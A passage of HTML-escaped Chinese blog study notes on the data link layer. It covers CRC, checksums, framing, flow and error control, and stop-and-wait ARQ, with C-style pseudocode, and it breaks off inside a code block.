title=\"循环冗余校验-CRC\"\u003e\u003c/a\u003e循环冗余校验-CRC\u003c/h5\u003e\u003cp\u003e循环冗余校验-CRC是一种数据通信领域常用的一种数据传输检错技术,它通过在发送端对数据按照某种多项式算法计算出校验码,并将得到的校验码附在数据帧的后面,一起发送到接收端。接收端对收到的数据和校验码按照相同的多项式算法进行验证,以此判断接收到的数据是否正确、完整。如果没有余数,说明数据没有出错,否则说明有错误。\u003c/p\u003e\u003cp\u003eCRC的计算方法有多种,不同的方法有不同的生成多项式、初始值、结果异或值、输入输出反转等参数,这些参数决定了CRC的检错能力和效率。\u003c/p\u003e\u003cp\u003eCRC的优点是计算简单、速度快、占用资源少,能够检测出大部分随机错误和突发错误,缺点是无法检测出所有的错误,比如两个位同时发生错误并互换位置等。\u003c/p\u003e\u003cp\u003eCRC计算方法就是模2除法。首先根据生成多项式位数-1来在要处理的数据后边补同等数量的0,然后再用它除以生成多项式,除时不借位,直接异或运算得到商和余数。此时,要发送的数据就是商和余数了。接收方得到数据后,进行同样的操作(补0,模2除法),如果没有余数,则说明数据完好无损,否则数据有差错。\u003c/p\u003e\u003cp\u003e生成多项式,是一个N次多项式。比如,$X^4+X+1$。它对应的二进制表示的生成多项式就是$10011$,因为四次项、一次项和零次项系数非零。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609193236.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"校验和-Checksum\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%A0%A1%E9%AA%8C%E5%92%8C-Checksum\" class=\"headerlink\" title=\"校验和-Checksum\"\u003e\u003c/a\u003e校验和-Checksum\u003c/h4\u003e\u003cp\u003e它将被校验的数据按位或按字节进行累加,并舍弃累加溢出的位,得到一个或多个字节的结果。它可以用来检测数据在传输或存储过程中是否发生错误,通常将校验和附加在数据后面,接收方可以通过重新计算校验和并与原始校验和比较来判断数据是否完整。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验和的计算方法有多种,例如按位异或、按字节累加、按多项式除法等,不同的方法有不同的效率和准确性。\u003c/li\u003e\u003cli\u003e校验和的优点是计算简单、速度快、占用资源少,缺点是无法检测出多个字节同时发生错误的情况,比如两个字节的值互换或相反。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-11-数据链路控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.11.数据链路控制\"\u003e\u003c/a\u003eChap.11.数据链路控制\u003c/h2\u003e\u003cp\u003e数据链路层功能:\u003c/p\u003e\u003col\u003e\u003cli\u003e数据链控制:成帧,流量、差错控制,节点间帧传输可靠协议\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"成帧\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%88%90%E5%B8%A7\" class=\"headerlink\" title=\"成帧\"\u003e\u003c/a\u003e成帧\u003c/h3\u003e\u003cp\u003e将位组合成帧,并添加首尾使其和其他帧区分开。成帧有两种协议:面向字符协议和面向位协议。它们的区别主要是转义符添加的方案。前者添加一个\u003cstrong\u003eESC字节\u003c/strong\u003e,后者遇到\u003ccode\u003e011111\u003c/code\u003e就添加一个0来转义。\u003c/p\u003e\u003cp\u003e帧结构是:\u003cstrong\u003e标记+头部+转义后数据+尾部+标记\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003eFixed-Size Framing   固定长度成帧 例如第18章的\u003cstrong\u003eATM信元\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eVariable-Size Framing  可变长度成帧 面向字符和面向比特位\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"流量控制和差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6%E5%92%8C%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制和差错控制\"\u003e\u003c/a\u003e流量控制和差错控制\u003c/h3\u003e\u003cp\u003e也叫数据链路控制功能。\u003c/p\u003e\u003ch4 id=\"流量控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制\"\u003e\u003c/a\u003e流量控制\u003c/h4\u003e\u003cp\u003e接收确认前协调发送的数据数量。它高速发送方受到接收确认信息前能传输多少数据。任何设备都有处理进入数据的速度、容量等限制。在达到限制之前,必须提示发送设备,减少发送量/暂停发送。进入的数据\u003cstrong\u003e必须经过经验和处理才能使用\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"差错控制\"\u003e\u003c/a\u003e差错控制\u003c/h4\u003e\u003cp\u003e差错检测和纠正。任何时刻,检测到帧缺失/帧破坏,协调发送方重新发送帧。这称为\u003cstrong\u003e自动重发请求(ARQ, automatic repeat request)\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h3\u003e\u003cp\u003e分为两类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e无噪声通道的协议\u003cul\u003e\u003cli\u003e最简单协议\u003c/li\u003e\u003cli\u003e停止-等待协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e有噪声通道的协议\u003cul\u003e\u003cli\u003e停止等待ARQ协议\u003c/li\u003e\u003cli\u003e返回到N的ARQ协议\u003c/li\u003e\u003cli\u003e选择性重复ARQ协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"无噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%97%A0%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"无噪声通道\"\u003e\u003c/a\u003e无噪声通道\u003c/h3\u003e\u003cp\u003e是一种假想的不会丢失帧、复制帧、损坏帧的理想通道。\u003c/p\u003e\u003ch4 id=\"最简单的协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"最简单的协议\"\u003e\u003c/a\u003e最简单的协议\u003c/h4\u003e\u003cp\u003e它没有流量控制、差错控制,且和其他协议一样是单向的:帧从发送方到接收方单向传输。\u003c/p\u003e\u003cp\u003e它是事件驱动型程序,发送方伪代码如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方伪代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"停止等待协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"停止等待协议\"\u003e\u003c/a\u003e停止等待协议\u003c/h4\u003e\u003cp\u003e发送方发送一个帧后,必须得到ACK后才能继续发送下一个帧。此处数据帧还是单向的,除了ACK能反向通过。发送方算法如下(很简单,不用多说):\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequesToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReveiceFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendACKFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"有噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%89%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"有噪声通道\"\u003e\u003c/a\u003e有噪声通道\u003c/h3\u003e\u003ch4 id=\"停止等待自动重复请求(Stop-and-Wait-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E8%87%AA%E5%8A%A8%E9%87%8D%E5%A4%8D%E8%AF%B7%E6%B1%82%EF%BC%88Stop-and-Wait-ARQ%EF%BC%89\" class=\"headerlink\" title=\"停止等待自动重复请求(Stop-and-Wait ARQ)\"\u003e\u003c/a\u003e停止等待自动重复请求(Stop-and-Wait ARQ)\u003c/h4\u003e\u003cp\u003e是在上面的停止等得协议加入了简单的差错控制。首先这个协议一次发送一个帧,所以相对简单。发送方发送一个帧后启动定时器,若没有收到ACK,则重发此帧。因此,帧需要编号来让双方知道应该重发哪个帧。另外,ACK帧也是帧,也会丢失。所以ACK帧也需要编号。\u003c/p\u003e\u003cp\u003e由于只有两个帧,所以序号使用0和1即可。接收方收到序列号后,返回当前数据序列号的取反。意思是可以接收下一个帧了。\u003c/p\u003e\u003cp\u003e数据发送失败,超时,发送方重发。\u003c/p\u003e\u003cp\u003eACK发送失败,超时,发送方重发,接收方检测到重复数据,抛弃,回复ACK。\u003c/p\u003e\u003cp\u003e发送方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eSn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eGetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eMakeFrame(Sn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStoreFrame(Sn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSn=Sn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame(ackNo);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(not corrputed AND ackNo == Sn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStopTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePurgeFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(TimeOut)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eResendFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan 